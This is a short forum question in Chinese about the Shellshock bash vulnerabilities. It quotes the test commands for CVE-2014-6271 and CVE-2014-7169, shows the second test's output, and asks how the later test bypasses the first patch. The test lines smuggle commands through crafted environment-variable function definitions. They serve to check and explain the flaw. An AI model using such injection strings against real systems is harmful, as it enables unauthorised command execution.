我了解CVE-2014-6271的原始测试,该测试是:
$ env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
但是我对CVE-2014-7169的更新测试和相应输出感到困惑:
$ env X='() { (a)=>\' sh -c "echo date"; cat echo
sh: X: line 1: syntax error near unexpected token `='
sh: X: line 1: `'
sh: error importing function definition for `X'
Thu 25 Sep 2014 08:50:18 BST
有人可以简要解释一下这里发生了什么,以及它如何绕过CVE-2014-6271的补丁?
看看:security.stackexchange.com/q/68122/45915
—
Cyrus 2014年